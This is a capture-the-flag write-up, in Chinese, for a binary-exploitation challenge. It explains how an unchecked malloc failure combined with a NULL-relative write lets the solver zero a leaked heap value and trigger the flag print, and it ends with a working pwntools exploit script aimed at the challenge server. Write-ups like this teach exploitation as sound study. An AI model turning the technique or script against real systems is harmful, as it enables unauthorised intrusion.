Pwn#

Description#

Category: Pwn

Write-ups#

保护全开，不过就一个很小的 main 函数：

1
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
2
{
3
  _QWORD *ptr; // rbx
4
  char *buf; // rbp
5
  size_t write_size; // rdx
6
  size_t size[5]; // [rsp+0h] [rbp-28h] BYREF
7

8
  size[1] = __readfsqword(0x28u);
9
  setup();
10
  puts("Welcome.");
11
  ptr = malloc(0x40000u);
12
  *ptr = 1;
13
  _printf_chk(1, "Leak: %p\n");
14
  _printf_chk(1, "Length of your message: ");
15
  size[0] = 0;
16
  _isoc99_scanf("%lu", size);
17
  buf = (char *)malloc(size[0]);
18
  _printf_chk(1, "Enter your message: ");
19
  read(0, buf, size[0]);
20
  write_size = size[0];
21
  buf[size[0] - 1] = 0;
22
  write(1, buf, write_size);
23
  if ( !*ptr )
24
    system("cat /flag");
25
  return 0;
26
}

一开始想的是堆溢出，后来调试了一下发现是不可能的（当时还因为没有 libc，手动 patch 出毛病，pwndbg 检查不了 heap 等一系列问题浪费了将近一小时……），然后想着有没有可能改 read 的 size、是不是和整数溢出有关……结果就是，都错了。

不过在思考整数溢出的时候，倒是给了我一些灵感。一开始也不知道如果和整数溢出有关的话应该做点啥，就直接输入经典的 -1 调试了一下，发现 malloc 因为请求值太大而失败了，于是乎，就有了下面的解决方案：

程序首先 malloc 返回一个地址，然后将其启始处的值设为 1。之后 if 判断这个值是否为 0, 为 0 就 cat flag 。所以目标自然是将这个值清零。

如果我们给 malloc 传入一个巨大的 size，malloc 会直接失败，返回 0，这样一来 buf 就变成了 NULL 。接着下面的 read 就会向空指针处写入值，也必然失败。由于程序没有检查 malloc 和 read 的返回值，所以会无视错误继续运行。接下来 buf[size[0] - 1] = 0 就相当于 ((char *)NULL)[size[0] - 1] = 0，也就是 *(size[0] - 1) = 0。

由于 size[0] 是我们输入的 size，那我们就获得了一个任意地址写。令 size 为泄漏出来的地址加一，它就会将泄漏出来的地址处的值清空，成功绕过 if 检测。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    process,
7
    raw_input,
8
    remote,
9
)
10

11

12
FILE = "./patched"
13
HOST, PORT = "new.mhxaskills.cn", 33662
14

15
context(log_level="debug", binary=FILE, terminal="kitty")
16

17
elf = context.binary
18

19

20
def launch():
21
    global target
22
    if args.L:
23
        target = process(FILE)
24
    else:
25
        target = remote(HOST, PORT)
26

27

28
def main():
29
    launch()
30

31
    target.recvuntil(b"Leak: ")
32
    leak = int(target.recvline().strip(), 16)
33

34
    # raw_input("DEBUG")
35
    target.sendlineafter(b"Length of your message: ", str(leak + 1).encode())
36
    target.sendlineafter(b"Enter your message: ", b"A")
37

38
    target.interactive()
39

40

41
if __name__ == "__main__":
42
    main()